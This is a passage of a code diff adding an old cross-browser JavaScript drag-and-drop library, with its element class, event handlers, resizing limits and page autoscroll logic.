+       d_o.visible = true;
+};
+dd.initz = function()
+{
+       if(!(dd && (dd.n4 || dd.n6 || dd.ie || dd.op || dd.w3c))) return;
+       else if(dd.n6 || dd.ie || dd.op || dd.w3c) dd.recalc(1);
+       var d_drag = (document.onmousemove == DRAG),
+       d_resize = (document.onmousemove == RESIZE);
+       if(dd.loadFunc) dd.loadFunc();
+       if(d_drag) dd.setMovHdl(DRAG);
+       else if(d_resize) dd.setMovHdl(RESIZE);
+       if(d_drag || d_resize) dd.setUpHdl(DROP);
+       dd.setDwnHdl(PICK);
+};
+dd.finlz = function()
+{
+       if(dd.ie && dd.elements)
+       {
+               var d_i = dd.elements.length; while(d_i--)
+                       dd.elements[d_i].del();
+       }
+       if(dd.uloadFunc) dd.uloadFunc();
+};
+dd.setCe = function(d_e, d_fnc)
+{
+       d_fnc? document.captureEvents(d_e) : document.releaseEvents(d_e);
+};
+dd.setDwnHdl = function(d_x)
+{
+       if(document.onmousedown != d_x)
+       {
+               dd.downFunc = document.onmousedown;
+               document.onmousedown = d_x;
+               if(dd.ce) dd.setCe(Event.MOUSEDOWN, d_x);
+       }
+};
+dd.setMovHdl = function(d_x)
+{
+       if(document.onmousemove != d_x)
+       {
+               dd.moveFunc = document.onmousemove;
+               document.onmousemove = d_x;
+               if(dd.ce) dd.setCe(Event.MOUSEMOVE, d_x);
+       }
+};
+dd.setUpHdl = function(d_x)
+{
+       if(document.onmouseup != d_x)
+       {
+               dd.upFunc = document.onmouseup;
+               document.onmouseup = d_x;
+               if(dd.ce) dd.setCe(Event.MOUSEUP, d_x);
+       }
+};
+dd.evt = function(d_e)
+{
+       this.but = (this.e = d_e || window.event).which || this.e.button || 0;
+       this.button = (this.e.type == 'mousedown')? this.but
+               : (dd.e && dd.e.button)? dd.e.button
+               : 0;
+       this.src = this.e.target || this.e.srcElement || null;
+       this.src.tag = ("" + (this.src.tagName || this.src)).toLowerCase();
+       this.x = dd.Int(this.e.pageX || this.e.clientX || 0);
+       this.y = dd.Int(this.e.pageY || this.e.clientY || 0);
+       if(dd.ie)
+       {
+               this.x += dd.getScrollX() - (dd.ie && !dd.iemac)*1;
+               this.y += dd.getScrollY() - (dd.ie && !dd.iemac)*1;
+       }
+       this.modifKey = this.e.modifiers? this.e.modifiers&Event.SHIFT_MASK : (this.e.shiftKey || false);
+};
+dd.getEventTarget = function(d_e, d_s, d_n)
+{
+       d_e = d_e || window.event;
+       if(d_e && (d_s = d_e.target || d_e.srcElement || null) != null)
+       {
+               if(null != (d_n = d_s.id || d_s.name || null))
+               {
+                       if(d_n.indexOf("dIi15vNI1m6G") == d_n.length-12)
+                               return dd.elements[d_n.substring(0, d_n.length-12)] || null;
+                       if(d_n.indexOf("dIi15v") == d_n.length-6)
+                               return dd.elements[d_n.substring(0, d_n.length-6)] || null;
+                       return dd.elements[d_n] || null;
+               }
+       }
+       return null;
+};
+dd.recalc = function(d_x)
+{
+       var d_o, d_i = dd.elements.length; while(d_i--)
+       {
+               if(!(d_o = dd.elements[d_i]).is_image && d_o.div)
+               {
+                       dd.getWH(d_o);
+                       if(d_o.div.pos_rel)
+                       {
+                               dd.getPageXY(d_o.div);
+                               var d_dx = dd.x - d_o.x, d_dy = dd.y - d_o.y;
+                               d_o.defx += d_dx;
+                               d_o.x += d_dx;
+                               d_o.defy += d_dy;
+                               d_o.y += d_dy;
+                               var d_p, d_j = d_o.children.length; while(d_j--)
+                               {
+                                       if(!(d_p = d_o.children[d_j]).detached && (d_o != d_p.defparent || !(d_p.is_image && dd.getImg(d_p, d_p.oimg.name, 1))))
+                                       {
+                                               d_p.defx += d_dx;
+                                               d_p.defy += d_dy;
+                                               d_p.moveBy(d_dx, d_dy);
+                                       }
+                               }
+                       }
+               }
+               else if(d_o.is_image && !dd.n4)
+               {
+                       if(dd.n6 && d_x && !d_o.defw) d_o.resizeTo(d_o.defw = dd.getImgW(d_o.oimg), d_o.defh = dd.getImgH(d_o.oimg));
+                       var d_defx = d_o.defx, d_defy = d_o.defy;
+                       if(!(d_o.parent && d_o.parent != d_o.defparent) && (d_x || !d_o.detached || d_o.horizontal || d_o.vertical) && dd.getImg(d_o, d_o.oimg.name, 1))
+                               d_o.moveBy(d_o.defx-d_defx, d_o.defy-d_defy);
+               }
+       }
+};
+function WINSZ(d_x)
+{
+       if(d_x)
+       {
+               if(dd.n4)
+               {
+                       dd.iW = innerWidth;
+                       dd.iH = innerHeight;
+               }
+               window.onresize = new Function('WINSZ();');
+       }
+       else if(dd.n4 && (innerWidth != dd.iW || innerHeight != dd.iH)) location.reload();
+       else if(!dd.n4) setTimeout('dd.recalc()', 0xa);
+}
+WINSZ(1);
+
+function DDObj(d_o, d_i)
+{
+       this.id = d_o;
+       this.cmd = '';
+       this.cpy_n = dd.getCmdVal(this, COPY);
+       this.maxoffb = dd.getCmdVal(this, MAXOFFBOTTOM, 0, 1);
+       this.maxoffl = dd.getCmdVal(this, MAXOFFLEFT, 0, 1);
+       this.maxoffr = dd.getCmdVal(this, MAXOFFRIGHT, 0, 1);
+       this.maxofft = dd.getCmdVal(this, MAXOFFTOP, 0, 1);
+       var d_j = dd_cursors.length; while(d_j--)
+               if(dd.getCmd(this, dd_cursors[d_j], 1)) this.cursor = dd_cursors[d_j].substring(2);
+       this.clone = dd.getCmd(this, CLONE, 1);
+       this.detach = dd.getCmd(this, DETACH_CHILDREN);
+       this.scalable = dd.getCmd(this, SCALABLE, 1);
+       this.horizontal = dd.getCmd(this, HORIZONTAL);
+       this.noalt = dd.getCmd(this, NO_ALT, 1);
+       this.nodrag = dd.getCmd(this, NO_DRAG);
+       this.scroll = dd.getCmd(this, SCROLL, 1);
+       this.resizable = dd.getCmd(this, RESIZABLE, 1);
+       this.re_z = dd.getCmd(this, RESET_Z, 1);
+       this.diaphan = dd.getCmd(this, TRANSPARENT, 1);
+       this.vertical = dd.getCmd(this, VERTICAL);
+       this.maxw = dd.getCmdVal(this, MAXWIDTH, 1, 1);
+       this.minw = Math.abs(dd.getCmdVal(this, MINWIDTH, 1, 1));
+       this.maxh = dd.getCmdVal(this, MAXHEIGHT, 1, 1);
+       this.minh = Math.abs(dd.getCmdVal(this, MINHEIGHT, 1, 1));
+       this.pickFunc = this.dragFunc = this.resizeFunc = this.dropFunc = null;
+
+       this.name = this.id + (d_i || '');
+       this.oimg = dd.getImg(this, this.id, 1);
+       this.is_image = !!this.oimg;
+       this.copies = new Array();
+       this.children = new Array();
+       this.parent = this.original = null;
+       if(this.oimg)
+       {
+               this.id = this.name + "dIi15v";
+               this.w = dd.getImgW(this.oimg);
+               this.h = dd.getImgH(this.oimg);
+               this.dw = this.dh = 0;
+               this.defz = dd.Int(dd.getCssProp(this.oimg, 'z-index','zIndex','zIndex')) || 1;
+               this.defsrc = this.src = this.oimg.src;
+               this.htm = '<img name="' + this.id + 'NI1m6G"'+
+                       ' src="' + this.oimg.src + '" '+
+                       'width="' + this.w + '" height="' + this.h + '">';
+               this.t_htm = '<div id="' + this.id +
+                       '" style="position:absolute;'+
+                       'left:' + (this.cssx = this.x = this.defx) + 'px;'+
+                       'top:' + (this.cssy = this.y = this.defy) + 'px;'+
+                       'width:' + this.w + 'px;'+
+                       'height:' + this.h + 'px;">'+
+                       this.htm + '</div>';
+       }
+       else
+       {
+               if(!!(this.div = dd.getDiv(this.id)) && typeof this.div.style != dd_u) this.css = this.div.style;
+               dd.getWH(this);
+               if(this.div)
+               {
+                       this.div.ddObj = this;
+                       this.div.pos_rel = ("" + (this.div.parentNode? this.div.parentNode.tagName : this.div.parentElement? this.div.parentElement.tagName : '').toLowerCase().indexOf('body') < 0);
+               }
+               dd.getPageXY(this.div);
+               this.defx = this.x = dd.x;
+               this.defy = this.y = dd.y;
+               dd.getCssXY(this);
+               this.defz = dd.Int(dd.getCssProp(this.div, 'z-index','zIndex','zIndex'));
+       }
+       this.defw = this.w || 0;
+       this.defh = this.h || 0;
+}
+DDObj.prototype.setPickFunc = function(d_x)
+{
+       this.pickFunc = d_x;
+};
+DDObj.prototype.setDragFunc = function(d_x)
+{
+       this.dragFunc = d_x;
+};
+DDObj.prototype.setResizeFunc = function(d_x)
+{
+       this.resizeFunc = d_x;
+};
+DDObj.prototype.setDropFunc = function(d_x)
+{
+       this.dropFunc = d_x;
+};
+DDObj.prototype.moveBy = function(d_x, d_y, d_kds, d_o)
+{
+       if(!this.div) return;
+       this.x += (d_x = dd.Int(d_x));
+       this.y += (d_y = dd.Int(d_y));
+       if(!d_kds || this.is_image || this.parent != this.defparent)
+       {
+               (d_o = this.css || this.div).left = (this.cssx += d_x) + dd.px;
+               d_o.top = (this.cssy += d_y) + dd.px;
+       }
+       var d_i = this.children.length; while(d_i--)
+       {
+               if(!(d_o = this.children[d_i]).detached) d_o.moveBy(d_x, d_y, 1);
+               d_o.defx += d_x;
+               d_o.defy += d_y;
+       }
+};
+
+DDObj.prototype.moveTo = function(d_x, d_y)
+{
+       this.moveBy(dd.Int(d_x)-this.x, dd.Int(d_y)-this.y);
+};
+DDObj.prototype.hide = function(d_m, d_o, d_p)
+{
+       if(this.div && this.visible)
+       {
+               d_p = this.css || this.div;
+               if(d_m && !dd.n4)
+               {
+                       this.display = dd.getCssProp(this.div, "display", "display", "display");
+                       if(this.oimg)
+                       {
+                               this.oimg.display = dd.getCssProp(this.oimg, "display", "display", "display");
+                               this.oimg.style.display = "none";
+                       }
+                       d_p.display = "none";
+                       dd.recalc();
+               }
+               else d_p.visibility = "hidden";
+       }
+       this.visible = false;
+       var d_i = this.children.length; while(d_i--)
+               if(!(d_o = this.children[d_i]).detached) d_o.hide(d_m);
+};
+DDObj.prototype.show = function(d_o, d_p)
+{
+       if(this.div)
+       {
+               d_p = this.css || this.div;
+               if(d_p.display && d_p.display == "none")
+               {
+                       d_p.display = this.display || "block";
+                       if(this.oimg) this.oimg.style.display = this.oimg.display || "inline";
+                       dd.recalc();
+               }
+               else d_p.visibility = "visible";
+       }
+       this.visible = true;
+       var d_i = this.children.length; while(d_i--)
+               if(!(d_o = this.children[d_i]).detached) d_o.show();
+};
+DDObj.prototype.resizeTo = function(d_w, d_h, d_o)
+{
+       if(!this.div) return;
+       d_w = (this.w = dd.Int(d_w))-this.dw;
+       d_h = (this.h = dd.Int(d_h))-this.dh;
+       if(dd.n4)
+       {
+               this.div.resizeTo(d_w, d_h);
+               if(this.is_image)
+               {
+                       this.write('<img src="' + this.src + '" width="' + d_w + '" height="' + d_h + '">');
+                       (this.nimg = this.div.document.images[0]).src = this.src;
+               }
+       }
+       else if(typeof this.css.pixelWidth != dd_u)
+       {
+               this.css.pixelWidth = d_w;
+               this.css.pixelHeight = d_h;
+               if(this.is_image)
+               {
+                       (d_o = this.nimg.style).pixelWidth = d_w;
+                       d_o.pixelHeight = d_h;
+               }
+       }
+       else
+       {
+               this.css.width = d_w + dd.px;
+               this.css.height = d_h + dd.px;
+               if(this.is_image)
+               {
+                       (d_o = this.nimg).width = d_w;
+                       d_o.height = d_h;
+                       if(!d_o.complete) d_o.src = this.src;
+               }
+       }
+};
+DDObj.prototype.resizeBy = function(d_dw, d_dh)
+{
+       this.resizeTo(this.w+dd.Int(d_dw), this.h+dd.Int(d_dh));
+};
+DDObj.prototype.swapImage = function(d_x, d_cp)
+{
+       if(!this.nimg) return;
+       this.nimg.src = d_x;
+       this.src = this.nimg.src;
+       if(d_cp)
+       {
+               var d_i = this.copies.length; while(d_i--)
+                       this.copies[d_i].src = this.copies[d_i].nimg.src = this.nimg.src;
+       }
+};
+DDObj.prototype.setBgColor = function(d_x)
+{
+       if(dd.n4 && this.div) this.div.bgColor = d_x;
+       else if(this.css) this.css.background = d_x;
+       this.bgColor = d_x;
+};
+DDObj.prototype.write = function(d_x, d_o)
+{
+       this.text = d_x;
+       if(!this.div) return;
+       if(dd.n4)
+       {
+               (d_o = this.div.document).open();
+               d_o.write(d_x);
+               d_o.close();
+               dd.getWH(this);
+       }
+       else
+       {
+               this.css.height = 'auto';
+               this.div.innerHTML = d_x;
+               if(!dd.ie4) dd.recalc();
+               if(dd.ie4 || dd.n6) setTimeout('dd.recalc();', 0); // n6.0: recalc twice
+       }
+};
+DDObj.prototype.copy = function(d_n, d_p, d_b)
+{
+       if(!this.oimg) return;
+       d_b = (dd.ie && document.all.tags('body'))? document.all.tags('body')[0] : document.getElementsByTagName? (document.getElementsByTagName('body')[0] || dd.db) : dd.db;
+       d_n = d_n || 1;
+       while(d_n--)
+       {
+               var d_l = this.copies.length,
+               d_o = new DDObj(this.name+this.cmd, d_l+1);
+               if(dd.n4)
+               {
+                       d_o.id = (d_p = new Layer(d_o.w)).name;
+                       d_p.clip.height = d_o.h;
+                       d_p.visibility = 'show';
+                       (d_p = d_p.document).open();
+                       d_p.write(d_o.htm);
+                       d_p.close();
+               }
+               else if(d_b && d_b.insertAdjacentHTML) d_b.insertAdjacentHTML("AfterBegin", d_o.t_htm);
+               else if(document.createElement && d_b && d_b.appendChild)
+               {
+                       d_b.appendChild(d_p = document.createElement("dIi15v"));
+                       d_p.innerHTML = d_o.htm;
+                       d_p.id = d_o.id;
+                       d_p.style.position = 'absolute';
+                       d_p.style.width = d_o.w + 'px';
+                       d_p.style.height = d_o.h + 'px';
+               }
+               else if(d_b && d_b.innerHTML) d_b.innerHTML += d_o.t_htm;
+               d_o.defz = this.defz+1+d_l;
+               dd.addProps(d_o);
+               d_o.original = this;
+               dd.addElt(d_o, this);
+               if(this.parent)
+               {
+                       this.parent.addChild(d_o, this.detached);
+                       d_o.defparent = this.defparent;
+               }
+               d_o.moveTo(d_o.defx = this.defx, d_o.defy = this.defy);
+               if(dd.n4) d_o.defsrc = d_o.src = this.defsrc;
+               d_o.swapImage(this.src);
+       }
+};
+DDObj.prototype.addChild = function(d_kd, detach, defp)
+{
+       if(typeof d_kd != "object") d_kd = dd.elements[d_kd];
+       if(d_kd.parent && d_kd.parent == this || d_kd == this || !d_kd.is_image && d_kd.defparent && !defp) return;
+
+       this.children[this.children.length] = this.children[d_kd.name] = d_kd;
+       d_kd.detached = detach || 0;
+       if(defp) d_kd.defparent = this;
+       else if(this == d_kd.defparent && d_kd.is_image) dd.getImg(this, d_kd.oimg.name, 1);
+       if(!d_kd.defparent || this != d_kd.defparent)
+       {
+               d_kd.defx = d_kd.x;
+               d_kd.defy = d_kd.y;
+       }
+       if(!detach)
+       {
+               d_kd.defz = d_kd.defz+this.defz-(d_kd.parent? d_kd.parent.defz : 0)+(!d_kd.is_image*1);
+               d_kd.setZ(d_kd.z+this.z-(d_kd.parent? d_kd.parent.z : 0)+(!d_kd.is_image*1), 1);
+       }
+       if(d_kd.parent) d_kd.parent._removeChild(d_kd, 1);
+       d_kd.parent = this;
+};
+DDObj.prototype._removeChild = function(d_kd, d_newp)
+{
+       if(typeof d_kd != "object") d_kd = this.children[d_kd];
+       var d_oc = this.children, d_nc = new Array();
+       for(var d_i = 0; d_i < d_oc.length; d_i++)
+               if(d_oc[d_i] != d_kd) d_nc[d_nc.length] = d_oc[d_i];
+       this.children = d_nc;
+       d_kd.parent = null;
+       if(!d_newp)
+       {
+               d_kd.detached = d_kd.defp = 0;
+               if(d_kd.is_image) dd.getImg(d_kd, d_kd.oimg.name, 1);
+       }
+};
+DDObj.prototype.attachChild = function(d_kd)
+{
+       (d_kd = (typeof d_kd != "object")? this.children[d_kd]: d_kd).detached = 0;
+       d_kd.setZ(d_kd.defz + this.z-this.defz, 1);
+};
+DDObj.prototype.detachChild = function(d_kd)
+{
+       (d_kd = (typeof d_kd != "object")? this.children[d_kd]: d_kd).detached = 1;
+};
+DDObj.prototype.setZ = function(d_x, d_kds, d_o)
+{
+       if(d_kds)
+       {
+               var d_dz = d_x-this.z,
+               d_i = this.children.length; while(d_i--)
+                       if(!(d_o = this.children[d_i]).detached) d_o.setZ(d_o.z+d_dz, 1);
+       }
+       dd.z = Math.max(dd.z, this.z = this.div? ((this.css || this.div).zIndex = d_x) : 0);
+};
+DDObj.prototype.maximizeZ = function()
+{
+       this.setZ(dd.z+1, 1);
+};
+DDObj.prototype._resetZ = function(d_o)
+{
+       if(this.re_z || dd.re_z)
+       {
+               this.setZ(this.defz);
+               var d_i = this.children.length; while(d_i--)
+                       if(!(d_o = this.children[d_i]).detached) d_o.setZ(d_o.defz);
+       }
+};
+DDObj.prototype.setOpacity = function(d_x)
+{
+       this.opacity = d_x;
+       this._setOpaRel(1.0, 1);
+};
+DDObj.prototype._setOpaRel = function(d_x, d_kd, d_y, d_o)
+{
+       if(this.css && (this.diaphan || d_kd))
+       {
+               d_y = this.opacity*d_x;
+               if(typeof this.css.MozOpacity != dd_u) this.css.MozOpacity = d_y;
+               else if(typeof this.css.filter != dd_u)
+                       this.css.filter = "Alpha(opacity="+parseInt(100*d_y)+")";
+               else this.css.opacity = d_y;
+               var d_i = this.children.length; while(d_i--)
+                       if(!(d_o = this.children[d_i]).detached) d_o._setOpaRel(d_x, 1);
+       }
+};
+DDObj.prototype.setCursor = function(d_x)
+{
+       this._setCrs(this.cursor = (d_x.indexOf('c:')+1)? d_x.substring(2) : d_x);
+};
+DDObj.prototype._setCrs = function(d_x)
+{
+       if(this.css) this.css.cursor = ((!dd.ie || dd.iemac) && d_x == 'hand')? 'pointer' : d_x;
+};
+DDObj.prototype.setDraggable = function(d_x)
+{
+       this.nodrag = !d_x*1;
+       this._setCrs(d_x? this.cursor : 'auto');
+};
+DDObj.prototype.setResizable = function(d_x)
+{
+       this.resizable = d_x*1;
+       if(d_x) this.scalable = 0;
+};
+DDObj.prototype.setScalable = function(d_x)
+{
+       this.scalable = d_x*1;
+       if(d_x) this.resizable = 0;
+};
+DDObj.prototype.getEltBelow = function(d_ret, d_x, d_y)
+{
+       var d_o, d_cmp = -1, d_i = dd.elements.length; while(d_i--)
+       {
+               d_o = dd.elements[d_i];
+               d_x = d_o.x-this.w/2;
+               d_y = d_o.y-this.h/2;
+               if(d_o.visible && d_o.z < this.z && this.x >= d_x && this.x <= d_x+d_o.w && this.y >= d_y && this.y <= d_y+d_o.h)
+               {
+                       if(d_o.z > d_cmp)
+                       {
+                               d_cmp = d_o.z;
+                               d_ret = d_o;
+                       }
+               }
+       }
+       return d_ret;
+};
+DDObj.prototype.del = function(d_os, d_o)
+{
+       var d_i;
+       if(this.parent && this.parent._removeChild) this.parent._removeChild(this);
+       if(this.original)
+       {
+               this.hide();
+               if(this.original.copies)
+               {
+                       d_os = new Array();
+                       for(d_i = 0; d_i < this.original.copies.length; d_i++)
+                               if((d_o = this.original.copies[d_i]) != this) d_os[d_o.name] = d_os[d_os.length] = d_o;
+                       this.original.copies = d_os;
+               }
+       }
+       else if(this.is_image)
+       {
+               this.hide();
+               if(this.oimg)
+               {
+                 if(dd.n4) this.oimg.src = this.defsrc;
+                 else this.oimg.style.visibility = 'visible';
+               }
+       }
+       else if(this.moveTo)
+       {
+               if(this.css) this.css.cursor = 'default';
+               this.moveTo(this.defx, this.defy);
+               this.resizeTo(this.defw, this.defh);
+       }
+       d_os = new Array();
+       for(d_i = 0; d_i < dd.elements.length; d_i++)
+       {
+               if((d_o = dd.elements[d_i]) != this) d_os[d_o.name] = d_os[d_o.index = d_os.length] = d_o;
+               else d_o._free();
+       }
+       dd.elements = d_os;
+       if(!dd.n4) dd.recalc();
+};
+DDObj.prototype._free = function()
+{
+       for(var d_i in this)
+               this[d_i] = null;
+       dd.elements[this.name] = null;
+};
+dd.n4RectVis = function(vis)
+{
+       for(var d_i = 4; d_i--;)
+       {
+               dd.rectI[d_i].visibility = dd.rectA[d_i].visibility = vis? 'show' : 'hide';
+               if(vis) dd.rectI[d_i].zIndex = dd.rectA[d_i].zIndex = dd.z+2;
+       }
+};
+dd.n4RectPos = function(d_o, d_x, d_y, d_w, d_h)
+{
+       d_o.x = d_x;
+       d_o.y = d_y;
+       d_o.clip.width = d_w;
+       d_o.clip.height = d_h;
+};
+// NN4: Draw img sizing rect
+dd.n4Rect = function(d_w, d_h)
+{
+       var d_i;
+       if(!dd.rectI)
+       {
+               dd.rectI = new Array();
+               dd.rectA = new Array();
+       }
+       if(!dd.rectI[0])
+       {
+               for(d_i = 4; d_i--;)
+               {
+                       (dd.rectI[d_i] = new Layer(1)).bgColor = '#000000';
+                       (dd.rectA[d_i] = new Layer(1)).bgColor = '#ffffff';
+               }
+       }
+       if(!dd.rectI[0].visibility || dd.rectI[0].visibility == 'hide') dd.n4RectVis(1);
+       dd.obj.w = d_w;
+       dd.obj.h = d_h;
+       for(d_i = 4; d_i--;)
+       {
+               dd.n4RectPos(dd.rectI[d_i], dd.obj.x + (!(d_i-1)? (dd.obj.w-1) : 0), dd.obj.y + (!(d_i-2)? (dd.obj.h-1) : 0), d_i&1 || dd.obj.w, !(d_i&1) || dd.obj.h);
+               dd.n4RectPos(dd.rectA[d_i], !(d_i-1)? dd.rectI[1].x+1 : (dd.obj.x-1), !(d_i-2)? dd.rectI[2].y+1 : (dd.obj.y-1), d_i&1 || dd.obj.w+2, !(d_i&1) || dd.obj.h+2);
+       }
+};
+dd.reszTo = function(d_w, d_h)
+{
+       if(dd.n4 && dd.obj.is_image) dd.n4Rect(d_w, d_h);
+       else dd.obj.resizeTo(d_w, d_h);
+};
+dd.embedVis = function(d_vis)
+{
+       var d_o = new Array('iframe', 'applet', 'embed', 'object');
+       var d_i = d_o.length; while(d_i--)
+       {
+               var d_p = dd.ie? document.all.tags(d_o[d_i]) : document.getElementsByTagName? document.getElementsByTagName(d_o[d_i]) : null;
+               if(d_p)
+               {
+                       var d_j = d_p.length; while(d_j--)
+                       {
+                               var d_q = d_p[d_j];
+                               while(d_q.offsetParent || d_q.parentNode)
+                               {
+                                       if((d_q = d_q.parentNode || d_q.offsetParent || null) == dd.obj.div)
+                                       {
+                                               d_p[d_j].style.visibility = d_vis;
+                                               break;
+                                       }
+                               }
+                       }
+               }
+       }
+};
+
+dd.maxOffX = function(d_x, d_y)
+{
+       return(
+               (dd.obj.maxoffl+1 && (d_y = dd.obj.defx-dd.obj.maxoffl)-d_x > 0
+               || dd.obj.maxoffr+1 && (d_y = dd.obj.defx+dd.obj.maxoffr)-d_x < 0)? d_y
+               : d_x
+       );
+};
+dd.maxOffY = function(d_x, d_y)
+{
+       return(
+               (dd.obj.maxofft+1 && (d_y = dd.obj.defy-dd.obj.maxofft)-d_x > 0
+               || dd.obj.maxoffb+1 && (d_y = dd.obj.defy+dd.obj.maxoffb)-d_x < 0)? d_y
+               : d_x
+       );
+};
+dd.inWndW = function(d_x, d_y)
+{
+       var d_wx = dd.getScrollX(),
+       d_ww = dd.getWndW();
+       return(
+               ((d_y = d_wx+2)-d_x > 0) || ((d_y = d_wx+d_ww+dd.obj.w-2)-d_x < 0)? d_y
+               : d_x
+       );
+};
+dd.inWndH = function(d_x, d_y)
+{
+       var d_wy = dd.getScrollY(),
+       d_wh = dd.getWndH();
+       return(
+               ((d_y = d_wy+2)-d_x > 0) || ((d_y = d_wy+d_wh+dd.obj.h-2)-d_x < 0)? d_y
+               : d_x
+       );
+};
+// These two funcs limit the size of element when mouseresized.
+// Implemented 22.5.2003 by Gregor Ltolf <gregor@milou.ch>, modified by Walter Zorn
+dd.limW = function(d_w)
+{
+       return(
+               (dd.obj.minw-d_w > 0)? dd.obj.minw
+               : (dd.obj.maxw > 0 && dd.obj.maxw-d_w < 0)? dd.obj.maxw
+               : d_w
+       );
+};
+dd.limH = function(d_h)
+{
+       return(
+               (dd.obj.minh-d_h > 0)? dd.obj.minh
+               : (dd.obj.maxh > 0 && dd.obj.maxh-d_h < 0)? dd.obj.maxh
+               : d_h
+       );
+};
+// Optional autoscroll-page functionality. Courtesy Cedric Savarese.
+// Implemented by Walter Zorn
+function DDScroll()
+{
+       if(!dd.obj || !dd.obj.scroll && !dd.scroll || dd.ie4 || dd.whratio)
+       {
+               dd.scrx = dd.scry = 0;
+               return;
+       }
+       var d_bnd = 0x1c,
+       d_wx = dd.getScrollX(), d_wy = dd.getScrollY();
+       if(dd.msmoved)
+       {
+               var d_ww = dd.getWndW(), d_wh = dd.getWndH(), d_y;
+               dd.scrx = ((d_y = dd.e.x-d_ww-d_wx+d_bnd) > 0)? (d_y>>=2)*d_y
+                       : ((d_y = d_wx+d_bnd-dd.e.x) > 0)? -(d_y>>=2)*d_y
+                       : 0;
+               dd.scry = ((d_y = dd.e.y-d_wh-d_wy+d_bnd) > 0)? (d_y>>=2)*d_y
+                       : ((d_y = d_wy+d_bnd-dd.e.y) > 0)? -(d_y>>=2)*d_y
+                       : 0;
+       }
+       if(dd.scrx || dd.scry)
+       {
+               window.scrollTo(
+                       d_wx + (dd.scrx = dd.obj.is_resized? dd.limW(dd.obj.w+dd.scrx)-dd.obj.w : dd.obj.vertical? 0 : (dd.maxOffX(dd.obj.x+dd.scrx)-dd.obj.x)),
+                       d_wy + (dd.scry = dd.obj.is_resized? dd.limH(dd.obj.h+dd.scry)-dd.obj.h : dd.obj.horizontal? 0 : (dd.maxOffY(dd.obj.y+dd.scry)-dd.obj.y))
+               );
+               dd.obj.is_dragged? dd.obj.moveTo(dd.obj.x+dd.getScrollX()-d_wx, dd.obj.y+dd.getScrollY()-d_wy)
+                       : dd.reszTo(dd.obj.w+dd.getScrollX()-d_wx, dd.obj.h+dd.getScrollY()-d_wy);
+       }
+       dd.msmoved = 0;
+       window.setTimeout('DDScroll()', 0x33);
+}
+function PICK(d_ev)
+{
+       dd.e = new dd.evt(d_ev);
+       if(dd.e.x >= dd.getWndW()+dd.getScrollX() || dd.e.y >= dd.getWndH()+dd.getScrollY()) return true; // on scrollbar
+       var d_o, d_t, d_cmp = -1, d_i = dd.elements.length; while(d_i--)
+       {
+               d_o = dd.elements[d_i];
+               if(dd.n4 && dd.e.but > 1 && dd.e.src == d_o.oimg && !d_o.clone) return false;
+               if(d_o.visible && dd.e.but <= 1 && dd.e.x >= d_o.x && dd.e.x <= d_o.x+d_o.w && dd.e.y >= d_o.y && dd.e.y <= d_o.y+d_o.h)
+               {
+                       if(d_o.z > d_cmp && (d_t = dd.e.src.tag).indexOf('inpu') < 0 && d_t.indexOf('texta') < 0 && d_t.indexOf('sele') < 0 && d_t.indexOf('opti') < 0 && d_t.indexOf('scrol') < 0)
+                       {
+                               d_cmp = d_o.z;
+                               dd.obj = d_o;
+                       }
+               }
+       }
+       if(dd.obj)
+       {
+               if(dd.obj.nodrag) dd.obj = null;
+               else
+               {
+                       dd.e.e.cancelBubble = true;
+                       var d_rsz = dd.e.modifKey && (dd.obj.resizable || dd.obj.scalable);
+                       if(dd.op)
+                       {
+                               (d_o = document.getElementById('OpBlUr')).style.pixelLeft = dd.e.x;
+                               d_o.style.pixelTop = dd.e.y;
+                               (d_o = d_o.children[0].children[0]).focus();
+                               d_o.blur();
+                       }
+                       else if(dd.ie && !dd.ie4)
+                       {
+                               if(document.selection && document.selection.empty) document.selection.empty();
+                               dd.db.onselectstart = function()
+                               {
+                                       event.returnValue = false;
+                               };
+                       }
+                       if(d_rsz)
+                       {
+                               dd.obj._setCrs('se-resize');
+                               dd.obj.is_resized = 1;
+                               dd.whratio = dd.obj.scalable? dd.obj.defw/dd.obj.defh : 0;
+                               if(dd.ie)
+                               {
+                                       if(dd.ie4)
+                                       {
+                                               window.dd_x = dd.getScrollX();
+                                               window.dd_y = dd.getScrollY();
+                                       }
+                                       setTimeout(
+                                               'if(dd.obj && document.selection && document.selection.empty)'+
+                                               '{'+
+                                                       'document.selection.empty();'+
+                                                       'if(dd.ie4) window.scrollTo(window.dd_x, window.dd_y);'+
+                                               '}'
+                                       ,0);
+                               }
+                               dd.setMovHdl(RESIZE);
+                               dd.reszTo(dd.obj.w, dd.obj.h);
+                       }
+                       else
+                       {
+                               dd.obj.is_dragged = 1;
+                               dd.setMovHdl(DRAG);
+                       }
+                       dd.setUpHdl(DROP);
+                       dd.embedVis('hidden');
+                       dd.obj._setOpaRel(0.7);
+                       dd.obj.maximizeZ();
+                       dd.ofx = dd.obj.x+dd.obj.w-dd.e.x;
+                       dd.ofy = dd.obj.y+dd.obj.h-dd.e.y;
+                       if(window.my_PickFunc) my_PickFunc();
+                       if(dd.obj.pickFunc) dd.obj.pickFunc();
+                       DDScroll();
+                       return !(
+                               dd.obj.is_resized
+                               || dd.n4 && dd.obj.is_image
+                               || dd.n6 || dd.w3c
+                       );
+               }
+       }
+       if(dd.downFunc) return dd.downFunc(d_ev);
+       return true;
+}
+function DRAG(d_ev)
+{
+       if(!dd.obj || !dd.obj.visible) return true;
+       if(dd.ie4 || dd.w3c || dd.n6 || dd.obj.children.length > 0xf)
+       {
+               if(dd.wait) return false;
+               dd.wait = 1;
+               setTimeout('dd.wait = 0;', dd.tiv);
+       }
+       dd.e = new dd.evt(d_ev);
+       if(dd.ie && !dd.e.but)
+       {
+               DROP(d_ev);
+               return true;
+       }
+       dd.msmoved = 1;
+       dd.obj.moveTo(
+               dd.obj.vertical? dd.obj.x : dd.maxOffX(dd.inWndW(dd.ofx+dd.e.x)-dd.obj.w),
+               dd.obj.horizontal? dd.obj.y : dd.maxOffY(dd.inWndH(dd.ofy+dd.e.y)-dd.obj.h)
+       );
+
+       if(window.my_DragFunc) my_DragFunc();
+       if(dd.obj.dragFunc) dd.obj.dragFunc();
+       if(dd.moveFunc) return dd.moveFunc(d_ev);
+       return false;
+}
+function RESIZE(d_ev)
+{
+       if(!dd.obj || !dd.obj.visible) return true;
+       if(dd.wait) return false;
+       dd.wait = 1;
+       setTimeout('dd.wait = 0;', dd.tiv);
+       dd.e = new dd.evt(d_ev);
+       if(dd.ie && !dd.e.but)
+       {
+               DROP(d_ev);
+               return true;
+       }
+       dd.msmoved = 1;
+       var d_w = dd.limW(dd.inWndW(dd.ofx+dd.e.x)-dd.obj.x), d_h;
